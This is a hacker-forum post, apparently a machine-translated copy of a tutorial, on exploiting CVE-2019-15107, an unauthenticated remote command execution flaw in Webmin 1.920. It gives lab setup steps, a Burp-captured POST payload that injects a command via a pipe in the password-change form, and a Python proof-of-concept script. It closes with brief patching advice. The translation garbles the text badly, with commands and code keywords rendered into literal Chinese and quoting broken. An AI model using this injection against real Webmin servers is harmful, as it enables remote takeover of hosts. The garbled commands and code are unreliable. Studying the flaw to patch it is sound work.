跳转到帖子
  • 游客您好,欢迎来到黑客世界论坛!您可以在这里进行注册。

    赤队小组-代号1949(原CHT攻防小组)在这个瞬息万变的网络时代,我们保持初心,创造最好的社区来共同交流网络技术。您可以在论坛获取黑客攻防技巧与知识,您也可以加入我们的Telegram交流群 共同实时探讨交流。论坛禁止各种广告,请注册用户查看我们的使用与隐私策略,谢谢您的配合。小组成员可以获取论坛隐藏内容!

    TheHackerWorld官方

Webmin=1.920-未认证_RCE(CVE-2019-15107)利用测试


Anonymous

推荐的帖子

0x00 前言

2019年8月10日,厄扎坎(@ehakkus)在防御状态应用安全村公开了一个0天,1.930以下版本的Webmin存在远程代码执行漏洞,文章地址如下:

彭斯特街https://号。com。tr/exploits/DEFCON-Webmin-1920-未经验证-远程-命令-执行。超文本标记语言

我对这个漏洞进行了跟踪研究,本文将要记录测试过程,根据漏洞原理使用计算机编程语言编写一个POC,并给出防御建议

0x01 简介

本文将要介绍以下内容:

漏洞简介

搭建测试环境

使用打嗝组曲复现漏洞

使用计算机编程语言编写无线一键通

0x02 漏洞简介

Webmin是基于网的Unix操作系统操作系统系统管理工具,简单理解:使用Webmin能够通过浏览器远程管理Unix操作系统操作系统系统的主机

1.930以下版本的Webmin存在远程代码执行漏洞,当Webmin的密码过期策略设置为提示密码过期的用户输入新密码时(默认设置为总是拒绝密码过期的用户),通过构造特殊格式的邮政包,能够实现远程代码执行

0x03 搭建测试环境和漏洞复现

测试系统:Centos7 x64

IP:192.168.112.181

1.安装perl和依赖库

好吃的安装实际抽取与汇报语言

安装perl-Net-SSLeay

好吃的安装perl-编码-检测

2.下载并安装存在漏洞的Webadmin(1.920)

wget https://SourceForge。net/projects/web admin/files/webmin/1.920/webmin-1.920-1。没有拱门。每分钟转数

rpm -U webmin-1.920-1.noarch.rpm

安装成功后Webadmin默认开启加密套接字协议层

3.配置防火墙,打开10000端口,支持远程访问

添加10000端口:

firewall-cmd-zone=public-add-port=10000/TCP-permanent

重启防火墙:

防火墙-命令-重新加载

查看端口号是否开启:

防火墙-cmd - query-port=10000/tcp

4.远程登录

https://192.168.112.181:10000

登录页面如下图

2-1.png

使用摘录的根用户口令进行登录

注:

为了便于测试,可以先关闭加密套接字协议层功能,位置为:Webmin配置- SSL加密

如下图

2-2.png

新的登录页面为http://192.168.112.181:10000

5.修改Password expiry policy

位置为:Webmin配置-身份验证

默认为总是拒绝密码过期的用户

修改为提示密码过期的用户在上输入新的

如下图

2-3.png

6.添加新用户

位置为:Webmin用户

添加用户成功后,修改密码选项,添加下次登录时强制更改

如下图

2-4.png

7.使用新用户登录

提示需要修改密码

如下图

2-5.png

8.开启Burp Suite进行抓包

任意输入旧口令和新的口令

打嗝组曲抓包如下图

2-6.png

正常的返回结果如下图

2-7.png

9.修改POST包,添加Payload

重复步骤8,并修改邮政包

原数据:

用户=apam=过期=2旧=123新1=456新2=456

新数据:

user=apam=expired=2 old=123 | idnew1=456 new 2=456

如下图

2-8.png

新的结果如下图

2-9.png

执行了命令(身份证)并输出结果

0x04 使用Python编写POC

厄扎坎(@ehakkus)在他的文章中使用红宝石编写了POC,这里使用计算机编程语言根据打嗝组曲的抓包情况重写一个无线一键通

需要考虑以下问题:

1.Python使用requests发送POST包

邮政包格式如下图

010-350005

对应计算机编程语言使用要求发送邮政包的代码如下:

导入请求

def test_post_http(ip,command):

尝试:

URL=' http://' IP ':10000/password _ change' CGI '

标题={

用户代理”:“Mozilla/5.0(X11;Linux x86 _ 64rv:52.0)壁虎/20100101火狐/52.0 ',

接受':'文本/html,应用程序/xhtml xml,应用程序/xml .q=0.9,*/*;q=0.8 ',

'接受-语言:“恩——我们,恩;q=0.5 ',

Accept-Encoding': 'gzip,deflate ',

referer ':' http://' IP ':10000/session _ log in。CGI ',

cookie ":" redirect=1;测试=1;sid=x ',

连接':'关闭,

升级-不安全-请求':' 1 ',

content-Type ':' application/x-www-form-urlencoded ',

内容长度':' 47 '

}

有效负载='user=apam=expired=2old=test| '命令' new1=test1new2=test1 '

r=requests.post(url,data=payload,headers=headers)

打印简历

例外情况为e:

打印'[!]错误:% s"% e

2.添加对结果的识别

如果Webmin未开启提示密码过期的用户输入新密码,结果为:

Error - Perl execution failed

密码更改未启用!at/usr/libexec/webmin/password _ change。公共网关接口第12行。

如果Webmin使用https,结果为:

Error - Document follows

此网服务器正在加密套接字协议层模式下运行。请改用URL https://webmin-node-reddis:10000/

如果Webmin开启提示密码过期的用户输入新密码,结果为:

Failed to change password : The current password is incorrect

3.添加对HTTPS的支持

如果结果为此网服务器正在加密套接字协议层模式下运行。那么跳转到HTTPS再次测试

另外,需要取消证书验证

原代码:

r=requests.post(url,data=payload,headers=headers)

新代码:

r=requests.post(url,data=payload,headers=headers,verify=False)

取消证书的SSL-警告,添加代码:

导入警告

警告.过滤器警告("忽略")

否则,会提示:

c:\ python 27 \ lib \ site-packages \ URL lib 3-1。25 .3-py 2.7。egg \ URL lib 3 \连接池。py:851:insurerequestwarning:正在发出未经验证的HTTPS请求。强烈建议添加证书验证。请参阅:ttps://URL lib 3。阅读文档。io/en/最新/高级-使用。html # SSL-警告insurerequestwarning)

完整测试代码已开源,地址如下:

https://github。com/3g student/howork-of-Python/blob/master/Webmin <=1.920-未认证_RCE(CVE-2019-15107).巴拉圭

0x05 防御建议

1.升级至1.930

2.密码过期策略采用默认设置

0x06 小结

本文对Webmin=1.920的远程代码执行进行测试,记录过程,根据漏洞原理使用计算机编程语言编写一个POC,并给出防御建议

留下回复

链接帖子
意见的链接
分享到其他网站

黑客攻防讨论组

黑客攻防讨论组

    You don't have permission to chat.
    • 最近浏览   0位会员

      • 没有会员查看此页面。
    ×
    ×
    • 创建新的...